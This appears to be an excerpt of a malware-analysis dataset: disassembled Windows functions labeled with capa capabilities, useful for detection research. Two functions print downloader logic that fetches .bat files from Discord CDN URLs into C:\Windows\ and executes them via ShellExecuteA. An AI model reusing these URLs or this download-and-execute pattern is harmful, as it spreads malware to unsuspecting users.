joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180019e60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1802d39c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180019eb7
cmp word [rdx], r13w
jne 0x180019eb7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180019ebc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180019fe1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18001a002
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180019ef5
mov rdx, r9
mov word [rbx], cx
jmp 0x180019f1c
cmp r9, r8
jae 0x180019f2c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180019ed6
jmp 0x180019fe1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180019fd6
cmp dword [rsp + 0x80], esi
je 0x180019fd6
lea r8, [0x1802d39c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180019fae
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180019f7e
mov word [rbx], r13w
jmp 0x180019fde
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180019f8b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180019fde
cmp word [rsp + 0x70], r13w
jne 0x180019fbb
cmp rbx, r14
je 0x180019f78
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001aac8
cmp word [rsp + 0x70], r13w
je 0x180019fe1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1802d39c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180019fdb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180019fe1
Function at 0x18001e518
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001e548
xor eax, eax
jmp 0x18001e60b
mov rbp, rbx
cmp word [rax], si
je 0x18001e56d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001e554
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001e550
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001cc50
movsxd r14, eax
test eax, eax
jne 0x18001e5ab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001e541
mov rcx, r14
call fcn.18001abf4
mov rdi, rax
test rax, rax
jne 0x18001e5c4
xor ecx, ecx
call fcn.180013c8c
jmp 0x18001e5a0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18001cc50
test eax, eax
jne 0x18001e5f5
mov rcx, rdi
call fcn.180013c8c
jmp 0x18001e5ff
xor ecx, ecx
call fcn.180013c8c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18001e628
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x18001e6af
mov rsi, rbx
cmp word [rax], bp
je 0x18001e66e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x18001e658
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x18001e654
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.18001abf4
mov rdi, rax
test rax, rax
je 0x18001e69c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180007c00
mov rbp, rdi
xor ecx, ecx
call fcn.180013c8c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180021878
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800144f4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180021919
cmp ebx, dword [rsp + 0x30]
je 0x180021912
test esi, esi
je 0x180021912
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1800218ed
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1800218fa
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1800218d7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1800218fe
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002191b
mov eax, 1
jmp 0x18002191b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180024930
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18001aac8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18001aac8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180024a80
cmp rax, 0xffffffffffffffff
je 0x180024a80
xor edi, edi
test rbp, rbp
jle 0x180024a2b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180018ce4
mov rbx, rax
test rax, rax
jne 0x1800249b8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180024a21
mov edx, 0x8000
mov ecx, r14d
call fcn.1800247b4
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180017d14
cmp eax, 0xffffffff
je 0x180024a01
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800249c8
mov edx, r15d
mov ecx, r14d
call fcn.1800247b4
jmp 0x180024a21
cmp byte [rsi + 0x38], dil
je 0x180024a18
cmp dword [rsi + 0x34], 5
jne 0x180024a18
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180024a21
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180013c8c
jmp 0x180024a94
jns 0x180024a94
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18001aac8
cmp rax, 0xffffffffffffffff
jne 0x180024a4c
cmp byte [rsi + 0x30], dil
je 0x180024a94
mov edi, dword [rsi + 0x2c]
jmp 0x180024a94
mov ecx, r14d
call fcn.18001f1cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180024a94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180024a94
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180024a8d
mov eax, dword [rsi + 0x2c]
jmp 0x180024a92
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18001aac8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14001112c
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
jmp 0x140019480
push rbp
push rsi
push rdi
sub rsp, 0x2d0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x290], rax
lea rcx, [0x14003211a]
call fcn.140011866
lea rax, str.https:__cdn.discordapp.com_attachments_1233784815661355132_1233848011759554631_4uhw7Xje2fK2.bat_ex662e9601is662d4481hm282fd596e98859f244b3d5e3b0a12766acafde050d3f6423daf560ca315d6f58
mov qword [rbp + 8], rax
lea rax, [rbp + 0x28]
lea rcx, str.4uhw7Xje2fK2.bat
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x58]
lea rcx, str.C:Windows_
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x188]
call fcn.1400113bb
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x1c8]
call fcn.140011893
mov qword [rbp + 0x288], rax
mov rcx, qword [rbp + 0x288]
call fcn.1400110dc
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400111fe
mov dword [rbp + 0x84], eax
lea rcx, [rbp + 0x1c8]
call fcn.14001119f
nop
lea rcx, [rbp + 0x188]
call fcn.14001119f
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x208]
call fcn.1400113bb
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x248]
call fcn.140011893
mov qword [rbp + 0x288], rax
mov rcx, qword [rbp + 0x288]
call fcn.1400110dc
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0x248]
call fcn.14001119f
nop
lea rcx, [rbp + 0x208]
call fcn.14001119f
cmp dword [rbp + 0xa8], 0x20
jle 0x140019639
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14001968c
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.Error_Cleaning_Logs__try_again.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110ff
mov qword [rbp + 0x278], rax
lea rdx, [0x140011069]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp - 0x30]
lea rdx, [0x140025400]
call fcn.14001170d
mov rcx, qword [rbp + 0x290]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x2a0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400111d1
Capabilities:
Create thread

Disassembly:
jmp 0x140015080
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x140032100]
call fcn.140011866
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140011294
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.14001143d
nop
lea rax, [0x1400115a0]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.1400115c8
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x14001515a
lea rcx, [rbp + 8]
call fcn.140011389
jmp 0x140015173
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.140011208
nop
lea rcx, [rbp + 8]
call fcn.140011361
lea rcx, [rbp - 0x30]
lea rdx, [0x140025aa0]
call fcn.14001170d
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x1400114b0
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
jmp 0x1400191b0
push rbp
push rsi
push rdi
sub rsp, 0x2d0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x290], rax
lea rcx, [0x14003211a]
call fcn.140011866
lea rax, str.https:__cdn.discordapp.com_attachments_1233784815661355132_1233839651169501234_PermChecker.bat_ex662e8e38is662d3cb8hm09ab34a5ecd9230182ffcbc2bb1b6d35a30e52efb6345c4fff457a65980c45c7
mov qword [rbp + 8], rax
lea rax, [rbp + 0x28]
lea rcx, str.PermChecker.bat
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x58]
lea rcx, str.C:Windows_
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x188]
call fcn.1400113bb
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x1c8]
call fcn.140011893
mov qword [rbp + 0x288], rax
mov rcx, qword [rbp + 0x288]
call fcn.1400110dc
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400111fe
mov dword [rbp + 0x84], eax
lea rcx, [rbp + 0x1c8]
call fcn.14001119f
nop
lea rcx, [rbp + 0x188]
call fcn.14001119f
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x208]
call fcn.1400113bb
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x248]
call fcn.140011893
mov qword [rbp + 0x288], rax
mov rcx, qword [rbp + 0x288]
call fcn.1400110dc
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0x248]
call fcn.14001119f
nop
lea rcx, [rbp + 0x208]
call fcn.14001119f
cmp dword [rbp + 0xa8], 0x20
jle 0x140019369
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x1400193bc
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.Error_opening_Serial_Checker__try_again.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110ff
mov qword [rbp + 0x278], rax
lea rdx, [0x140011069]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp - 0x30]
lea rdx, [0x140025320]
call fcn.14001170d
mov rcx, qword [rbp + 0x290]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x2a0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400114ba
Capabilities:
Terminate process

Disassembly:
jmp 0x14001ce40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400115cd
Capabilities:
Execute command

Disassembly:
jmp 0x14001b2c0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x130], rax
lea rcx, [0x14003211a]
call fcn.140011866
lea rdx, [0x14001101e]
lea rcx, [rbp + 8]
call fcn.1400113a7
nop
call fcn.1400116e0
lea rdx, [rbp + 0x34]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x34], 1
jne 0x14001b334
call fcn.140011168
jmp 0x14001b3f7
cmp dword [rbp + 0x34], 2
jne 0x14001b344
call fcn.1400114b0
jmp 0x14001b3f7
cmp dword [rbp + 0x34], 3
jne 0x14001b354
call fcn.14001112c
jmp 0x14001b3f7
cmp dword [rbp + 0x34], 0
jne 0x14001b3a4
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.Exiting...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110ff
mov qword [rbp + 0x128], rax
lea rdx, [0x140011069]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001b402
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.Invalid_option.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110ff
mov qword [rbp + 0x128], rax
lea rdx, [0x140011069]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026280]
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
cmp eax, 1
jne 0x14001b30e
lea rcx, [rbp + 8]
call fcn.140011005
mov dword [rbp + 0x114], 0
lea rcx, [rbp + 8]
call fcn.1400113b1
mov eax, dword [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400254d0]
call fcn.14001170d
mov eax, edi
mov rcx, qword [rbp + 0x130]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400115e6
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001e190
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001e1b0
xor al, al
jmp 0x14001e231
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001e1c3
xor al, al
jmp 0x14001e231
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001e1ed
xor al, al
jmp 0x14001e231
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001e201
xor al, al
jmp 0x14001e231
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001e213
xor al, al
jmp 0x14001e231
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001e22f
xor al, al
jmp 0x14001e231
mov al, 1
add rsp, 0x38
ret
Function at 0x140009900
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400973e0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000996f
mov rcx, r9
call fcn.1400097d0
test eax, eax
je 0x14000996f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14000996d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140009964
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000996f
add rdx, 0x28
cmp rdx, r9
jne 0x140009950
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001152d
Capabilities:
Terminate process

Disassembly:
jmp 0x140025af0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001167c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140026620
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140026640
xor al, al
jmp 0x1400266c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140026653
xor al, al
jmp 0x1400266c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002667d
xor al, al
jmp 0x1400266c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140026691
xor al, al
jmp 0x1400266c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400266a3
xor al, al
jmp 0x1400266c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400266bf
xor al, al
jmp 0x1400266c1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004480]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004490]
mov dword [rax], 1
mov rax, qword [0x1400044a0]
mov dword [rax], 1
mov rax, qword [0x140004420]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004470]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004540]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a